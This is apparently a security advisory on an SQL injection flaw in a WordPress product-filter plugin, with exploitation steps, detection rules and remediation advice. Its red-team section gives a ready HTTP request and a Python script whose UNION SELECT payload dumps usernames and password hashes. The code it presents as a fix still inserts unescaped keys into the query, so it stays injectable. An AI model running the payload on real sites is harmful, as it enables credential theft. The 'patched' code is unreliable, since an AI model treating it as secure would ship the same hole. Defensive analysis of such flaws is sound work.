CVE-2025-8416

Executive Summary

CVE-2025-8416 is a critical SQL Injection vulnerability discovered in the Product Filter by WBW WordPress plugin, affecting all versions up to and including 2.9.7. The flaw resides in the filtersDataBackend parameter, where insufficient input escaping and lack of prepared statements allow unauthenticated attackers to inject arbitrary SQL queries. This can lead to the extraction of sensitive data from the WordPress database, including user credentials, session tokens, and other confidential information. As a WordPress ecosystem issue, this vulnerability does not affect the underlying web server (Apache/Nginx) but directly compromises the plugin's database interaction layer.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users are advised to verify the integrity of their plugin files and monitor for any unauthorized modifications. No official patch has been released as of this report.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

The high confidentiality impact combined with low attack complexity makes this a significant threat for unauthenticated remote attackers.

Deep Dive & Mechanics

The vulnerability is a classic SQL Injection flaw in the Product Filter by WBW plugin. The filtersDataBackend parameter is used to pass filter data from the frontend to the backend for processing. Due to insufficient escaping and lack of parameterized queries, an attacker can inject malicious SQL statements.

Root Cause:

• The plugin uses $_POST['filtersDataBackend'] directly in SQL queries without proper sanitization.
• The SQL query is constructed using string concatenation rather than prepared statements.

Attack Vector:

• An unauthenticated attacker sends a crafted POST request to the vulnerable endpoint.
• The filtersDataBackend parameter contains SQL injection payloads.
• The injected SQL is executed against the WordPress database, allowing data exfiltration.

Impact:

• Extraction of wp_users table (usernames, hashed passwords).
• Extraction of wp_usermeta (session tokens, capabilities).
• Potential privilege escalation if combined with other vulnerabilities.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.9.7):

$filters_data = $_POST['filtersDataBackend'];
$query = "SELECT * FROM wp_posts WHERE post_type = 'product' AND " . $filters_data;
$results = $wpdb->get_results($query);

Patched Code (Hypothetical):

$filters_data = json_decode(stripslashes($_POST['filtersDataBackend']), true);
if (is_array($filters_data)) {
    $where_clauses = array();
    foreach ($filters_data as $key => $value) {
        $where_clauses[] = $wpdb->prepare("$key = %s", $value);
    }
    $where = implode(' AND ', $where_clauses);
    $query = "SELECT * FROM wp_posts WHERE post_type = 'product' AND " . $where;
    $results = $wpdb->get_results($query);
}

The patched version uses $wpdb->prepare() to safely escape each value and constructs the query using parameterized placeholders.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install WordPress with the Product Filter by WBW plugin version 2.9.7.
2. Ensure the plugin is active and accessible via the web.

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=wbw_product_filter).
2. Craft a POST request with a malicious filtersDataBackend parameter:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: target.com
   Content-Type: application/x-www-form-urlencoded
   
   action=wbw_product_filter&filtersDataBackend=1=1 UNION SELECT user_login,user_pass FROM wp_users--
   

3. The response will contain the extracted user credentials.

Automated Exploit (Python):

import requests

target = "http://target.com/wp-admin/admin-ajax.php"
payload = "1=1 UNION SELECT user_login,user_pass FROM wp_users--"
data = {
    "action": "wbw_product_filter",
    "filtersDataBackend": payload
}
response = requests.post(target, data=data)
print(response.text)

Blue Team

Detection Steps:

1. Monitor for unusual POST requests to /wp-admin/admin-ajax.php with the action=wbw_product_filter parameter.
2. Look for SQL keywords (UNION, SELECT, FROM, WHERE) in the filtersDataBackend parameter.
3. Check for abnormal response sizes or database error messages.

Honeypot Setup:

• Deploy a decoy WordPress instance with the vulnerable plugin.
• Log all POST requests to the vulnerable endpoint.
• Alert on any request containing SQL injection patterns.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /wp-admin/admin-ajax.php with action=wbw_product_filter.
  • filtersDataBackend parameter containing SQL keywords (UNION, SELECT, SLEEP, etc.).
  • Unusually large response bodies from the vulnerable endpoint.

• File IOCs:

  • Modified plugin files in /wp-content/plugins/product-filter-by-wbw/.
  • Suspicious entries in WordPress debug logs (wp-content/debug.log).

• Database IOCs:

  • Unexpected entries in wp_options or wp_usermeta.
  • New admin users created via SQL injection.

Detection Engineering

YARA Rule

rule CVE_2025_8416_SQLi {
    meta:
        description = "Detects SQL injection attempts against Product Filter by WBW plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-8416"
    strings:
        $s1 = "filtersDataBackend" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "FROM" nocase
        $s5 = "wp_users" nocase
    condition:
        all of ($s1, $s2, $s3, $s4) or ($s1 and $s5)
}

Sigma Rule

title: SQL Injection Attempt Against Product Filter by WBW
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts targeting the filtersDataBackend parameter
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=wbw_product_filter'
        cs-uri-query|contains: 'filtersDataBackend'
    keywords:
        - 'UNION'
        - 'SELECT'
        - 'FROM'
        - 'SLEEP'
        - 'BENCHMARK'
    condition: selection and 1 of keywords
falsepositives:
    - Legitimate use of filter parameters with similar keywords
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-8416 SQL Injection Attempt - Product Filter by WBW";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=wbw_product_filter"; http_client_body;
    content:"filtersDataBackend"; http_client_body;
    pcre:"/(UNION|SELECT|FROM|SLEEP|BENCHMARK)/Pi";
    sid:1000001;
    rev:1;
    reference:cve,2025-8416;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the Product Filter by WBW plugin until a patch is available.
2. Implement a Web Application Firewall (WAF) rule to block SQL injection patterns in the filtersDataBackend parameter.
3. Monitor logs for exploitation attempts.

Long-term Fixes:

1. Apply the vendor patch when released (currently UNKNOWN).
2. Replace the plugin with a secure alternative if no patch is forthcoming.
3. Conduct a security audit of all WordPress plugins for similar vulnerabilities.

Configuration Hardening:

• Ensure WordPress database user has minimal privileges (no DROP/ALTER).
• Enable query logging to detect suspicious SQL activity.
• Use a security plugin (e.g., Wordfence) to add an additional layer of protection.

Valters IT
Securing Digital Frontiers